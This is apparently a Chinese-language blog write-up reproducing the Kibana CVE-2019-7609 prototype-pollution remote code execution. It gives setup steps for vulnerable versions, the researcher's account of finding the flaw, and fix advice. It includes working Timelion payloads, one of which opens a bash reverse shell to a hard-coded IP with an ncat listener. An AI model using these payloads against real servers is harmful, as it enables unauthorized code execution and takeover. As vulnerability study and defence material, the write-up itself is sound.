Kibana未授权访问漏洞记录(CVE-2019-7609,Kibana的RCE,原型链污染,端口:5601)
Kibana介紹
Kibana是一個開源的分析與可視化平臺,設計出來用于和Elasticsearch一起使用的。你可以用kibana搜索、查看存放在Elasticsearch中的數據。Kibana與Elasticsearch的交互方式是各種不同的圖表、表格、地圖等,直觀的展示數據,從而達到高級的數據分析與可視化的目的。
Elasticsearch、Logstash和Kibana這三個技術就是我們常說的ELK技術棧,可以說這三個技術的組合是大數據領域中一個很巧妙的設計。一種很典型的MVC思想,模型持久層,視圖層和控制層。Logstash擔任控制層的角色,負責搜集和過濾數據。Elasticsearch擔任數據持久層的角色,負責儲存數據。而Kibana擔任視圖層角色,擁有各種維度的查詢和分析,并使用圖形化的界面展示存放在Elasticsearch中的數據。
漏洞描述 及 影響范圍
Kibana 為 Elassticsearch 設計的一款開源的視圖工具。其5.6.15到6.6.1之間的版本中存在一處原型鏈污染漏洞,利用這個漏洞我們可以在目標服務器上執行任意JavaScript代碼。
修復方案
升級版本
漏洞復現
首先去官網下載6.5.3的tar包并解壓
wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-6.5.3.tar.gz tar -zxvf elasticsearch-6.5.3.tar.gz cd elasticsearch-6.5.3 ./bin/elasticsearch?不要用root用戶運行
訪問http://127.0.0.1:9200/
證明成功了
Kibana安裝
官網下載壓縮包并解壓
wget https://artifacts.elastic.co/downloads/kibana/kibana-6.5.3-linux-x86_64.tar.gz tar –zxvf kibana-5.4.3-linux-x86_64.tar.gz cd kibana-5.4.3-linux-x86_64 ./bin/kibana環境啟動后,訪問 http://your-ip:5601 即可看到Kibana頁面。
原型鏈污染發生在“Timeline”頁面,我們填入如下Payload:
創建文件
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("/bin/touch /tmp/success");process.exit()//') .props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')?shell反彈
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//') .props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')成功后,再訪問“Canvas”頁面觸發命令 `/bin/touch /tmp/success`,可見 `/tmp/success` 已成功創建。
修復方案
1. 設置訪問權限(白名單,增加nginx賬號)
2. 避免公網開放
漏洞原理(原型鏈污染)
讓我們來談談JavaScript
我如何訪問toString,如果它不是obj的屬性?
答案是:基于原型的繼承(prototype-based inheritance)
JavaScript中的每個對象都有一個原型,當然也可以為空
我們可以通過 __proto__ 訪問它
Prototype chain(原型鏈)
當試圖訪問obj.prop3…
簡而言之,如果JS引擎在obj1中尋找屬性,它需要遍歷整個原型鏈。
原型鏈結束時
__proto__ = = = null。
幾乎總是最后一個對象(objN)是object .prototype
原型鏈污染
原型污染發生在應用程序中有可能污染對象的bug時。具有任意屬性的原型。
假設我們有一個密碼
if (user.isAdmin) {// Do something important }在應用程序中有一個bug,所以我們可以賦值:
Object.prototype.isAdmin = true
那么每個人都是管理員!
關于原型污染的一般信息(如。如何實現),看看奧利維爾·阿爾托的研究吧:
- Paper and slides
- Youtube video
…因為在這一講中,我將集中在原型污染的一個具體實例上。
Kibana 的原型污染
想實踐利用真實的脆弱, cve-2019-7609的例子,并尋找一些支持。
這確實引發了一個非常有趣的研究如何在現實世界中利用這種脆弱性。
https://s3.amazonaws.com/media-p.slid.es/videos/1152136/OkDr_8-j/1.mp4
這是一種污染原型的方式
讓我們來看看怎樣才能完成這個應用程序……
在現實世界中,Kubana?需要在這一點上重新開始
但我可以通過調試器修復它
debugger
刷新 Dashboard
在“ 修復” object.prototype,Kibana又正常工作了
我們是怎么知道的?
1.?我們在Timelion有一個污染的原型。
下一個步驟
現在我必須找到一些代碼來將原型污染轉換為RCE。
我不知道我到底在找什么。
代碼類似于這樣:
if (obj.jsCode) {eval(obj.jsCode); }顯然,沒有發現任何類似的東西。
但是,順便說一句,我注意到了一些奇怪的事情。
在這一點上,我注意到在 Kibana?輸出中有很多錯誤
為什么會有這么多錯誤呢?
我用 --inspect 運行 Kibana (它在端口9229上運行調試器)。
現在我得到了很多端口已經被使用的錯誤。
結論:Kibana正在嘗試一種新的過程!
我們怎么知道?
我們在Timelion有一個污染的原型。
點擊 “Canvas” 后,Kibana生成一個新的進程。
debugger
這個功能基本上就是一個污染天堂的原型。
正在訪問許多未定義的屬性。
它們都可能被污染。
這是將傳遞給新流程的環境變量列表.
我們怎么知道的呢?
但也許還有其他與eval等效的命令行參數?
這證實了我可以執行任意JS代碼,如果我控制env變量時產卵節點進程。
不需要上傳文件。
我們怎么知道的呢?
Timelion輸入?
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//') .props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')服務區接收反彈
ncat -vlp 12345點擊 "Canvas" 創建進程反彈shell
總結
其他的想法
這一漏洞不是完全可靠的。
如果新進程已經生成,則不能運行另一個進程。
它也不完美。
我濫用了Linux的一些特定特性(/proc/self/environ)。如果利用的是純JS就更好了。
我發現的基本上是一個小工具:如果一個應用程序容易受到原型污染的影響,并且它產生了一個新的進程,我們可以使用完全相同的代碼。
思想研究
在node的stdlib中找到更多的gadget。
也許是ysoserial(ysopolluted?)這樣的工具。
如何以高效的方式找到小工具
最終結論
當 關注點(stars) 排成一線時,原型污染可以被利用來實現RCE。
總結
以上是生活随笔為你收集整理的Kibana未授权访问漏洞记录(CVE-2019-7609,Kibana的RCE,原型链污染,端口:5601)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 字体颜色对话框
- 下一篇: USACO Section1.2 You